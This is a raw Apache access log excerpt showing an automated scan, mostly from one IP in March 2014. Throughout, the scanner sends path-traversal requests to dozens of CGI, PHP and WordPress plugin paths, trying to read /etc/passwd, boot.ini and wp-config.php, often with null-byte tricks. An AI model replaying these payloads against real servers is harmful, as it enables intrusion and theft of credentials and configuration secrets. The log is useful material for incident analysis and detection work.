/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 10.100.11.36 - - [13/Mar/2014:17:18:12 -0400] "GET index.html?../../../../../boot.ini HTTP/1.1" 400 510 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 10.100.11.36 - - [13/Mar/2014:17:18:14 -0400] "GET /../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:05:51 -0400] "GET /../../../../../../../../../../../ HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:42 -0400] "GET /cgi-bin/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:42 -0400] "GET /cgi-bin/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:43 -0400] "GET /cgi-bin/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 404 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 404 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 404 539 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:13:44 -0400] "GET /cgi-bin/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:24:22 -0400] "GET /_vti_pvt/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:00:25:23 -0400] "GET /_vti_pvt/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:00:32 -0400] "GET /_vti_pvt/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:04:34 -0400] "GET /_vti_pvt/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:04:34 -0400] "GET /_vti_pvt/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:06:35 -0400] "GET /_vti_pvt/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:09:36 -0400] "GET /_vti_pvt/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:10:45 -0400] "GET /_vti_bin/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:11:37 -0400] "GET /_vti_pvt/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:11:46 -0400] "GET /_vti_bin/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:12:37 -0400] "GET /_vti_pvt/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:13:37 -0400] "GET /_vti_pvt/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:14:37 -0400] "GET /_vti_pvt/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:17:58 -0400] "GET /_vti_pvt/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:18:58 -0400] "GET /_vti_pvt/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:20:59 -0400] "GET /_vti_pvt/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:23:59 -0400] "GET /_vti_pvt/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:28:01 -0400] "GET /_vti_pvt/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:14 -0400] "GET /doc/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 403 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:14 -0400] "GET /doc/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 403 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 403 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 403 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 403 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 403 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 403 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 403 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 403 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 403 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 403 539 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:15 -0400] "GET /doc/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 403 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:16 -0400] "GET /doc/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 403 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:36:16 -0400] "GET /doc/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 403 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:40:18 -0400] "GET /cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 404 527 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:40:18 -0400] "GET /cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:40:19 -0400] "GET /loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:40:19 -0400] "GET /servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:40:19 -0400] "GET /servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:41:19 -0400] "GET /ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 404 526 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:41:19 -0400] "GET /hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 523 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:41:14 -0400] "GET /scripts/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:41:22 -0400] "GET /blog/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=yddq.pdf&file=../../../../wp-config.php HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:43:20 -0400] "GET /shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:43:20 -0400] "GET /shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 404 527 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:43:20 -0400] "GET /common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 404 526 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:43:20 -0400] "GET /sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 404 527 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:43:20 -0400] "GET /ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:43:20 -0400] "GET /talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:42:14 -0400] "GET /scripts/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:42:20 -0400] "GET /webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:44:20 -0400] "GET /a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:45:21 -0400] "GET /viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:46:54 -0400] "GET /_vti_bin/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:50:55 -0400] "GET /_vti_bin/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:50:55 -0400] "GET /_vti_bin/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:52:55 -0400] "GET /_vti_bin/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:55:56 -0400] "GET /_vti_bin/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:57:56 -0400] "GET /_vti_bin/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 24983 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:58:51 -0400] "GET /php/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:58:57 -0400] "GET /_vti_bin/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:59:51 -0400] "GET /php/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:01:59:57 -0400] "GET /_vti_bin/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:00:57 -0400] "GET /_vti_bin/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:04:18 -0400] "GET /_vti_bin/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:05:18 -0400] "GET /_vti_bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:07:19 -0400] "GET /_vti_bin/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:10:20 -0400] "GET /_vti_bin/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:14:20 -0400] "GET /_vti_bin/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:16:55 -0400] "GET /phpnuke/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:17:22 -0400] "GET /scripts/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:17:55 -0400] "GET /phpnuke/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:21:23 -0400] "GET /scripts/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:21:23 -0400] "GET /scripts/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:33 -0400] "GET /cgi-bin/../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:33 -0400] "GET /cgi-bin/bug_sponsorship_list_view_inc.php?t_core_path=../../../../etc/passwd%00 HTTP/1.1" 404 557 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:33 -0400] "GET /cgi-bin/Documentation/tests/bug-559668.php?FORUM[LIB]=../../../../../../../etc/passwd%00 HTTP/1.1" 404 558 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:35 -0400] "GET /cgi-bin/htmlscript?../../../../../../etc/passwd HTTP/1.1" 404 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:35 -0400] "GET /cgi-bin/htmlscript?../../../../../../boot.ini HTTP/1.1" 404 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:35 -0400] "GET /cgi-bin/pfdispaly.cgi?/../../../../../etc/passwd HTTP/1.1" 404 537 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:35 -0400] "GET /cgi-bin/wrap?/../../../../../etc HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:36 -0400] "GET /cgi-bin/view-source?../../../../../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:36 -0400] "GET /cgi-bin/files.pl?../../../../../etc/passwd HTTP/1.1" 404 532 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:36 -0400] "GET /cgi-bin/files.pl?../../../../../boot.ini HTTP/1.1" 404 532 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:36 -0400] "GET /cgi-bin/sojourn.cgi?cat=../../../../etc/passwd%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:37 -0400] "GET /cgi-bin/webplus?script=/../../../../etc/passwd HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:37 -0400] "GET /cgi-bin/netauth.cgi?cmd=show&page=../../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:37 -0400] "GET /cgi-bin/YaBB.pl?board=general&action=display&num=../../../../../../../etc/passwd%00 HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:37 -0400] "GET /cgi-bin/YaBB.pl?board=general&action=display&num=../../../../../../../boot.ini%00 HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:37 -0400] "GET /cgi-bin/cached_feed.cgi?../../../../../../../.+/etc/passwd HTTP/1.1" 404 539 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:37 -0400] "GET /cgi-bin/cached_feed.pl?../../../../../../../.+/etc/passwd HTTP/1.1" 404 538 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:38 -0400] "GET /cgi-bin/web_store.cgi?page=../../../../../../../boot%00ini HTTP/1.1" 404 537 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:38 -0400] "GET /cgi-bin/shop.pl?page=../../../../../etc/passwd%00 HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:38 -0400] "GET /cgi-bin/shop.cgi?page=../../../../../etc/passwd%00 HTTP/1.1" 404 532 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:38 -0400] "GET /cgi-bin/classifieds?adPath=/../../../../../etc/passwd%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:38 -0400] "GET /cgi-bin/classifieds/classifieds?adPath=/../../../../../etc/passwd%00 HTTP/1.1" 404 547 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:38 -0400] "GET /cgi-bin/index.cgi?image_list=alternative_image.list&html_file=../../../../../etc/passwd HTTP/1.1" 404 533 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:39 -0400] "GET /cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/passwd HTTP/1.1" 404 537 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:39 -0400] "GET /cgi-bin/download.cgi?f=../../../../../../etc/passwd HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:39 -0400] "GET /cgi-bin/dcboard.cgi?az=list&forum=../../../../../../../../../../../etc/passwd%00&conf=conference HTTP/1.1" 404 535 "-" "-"
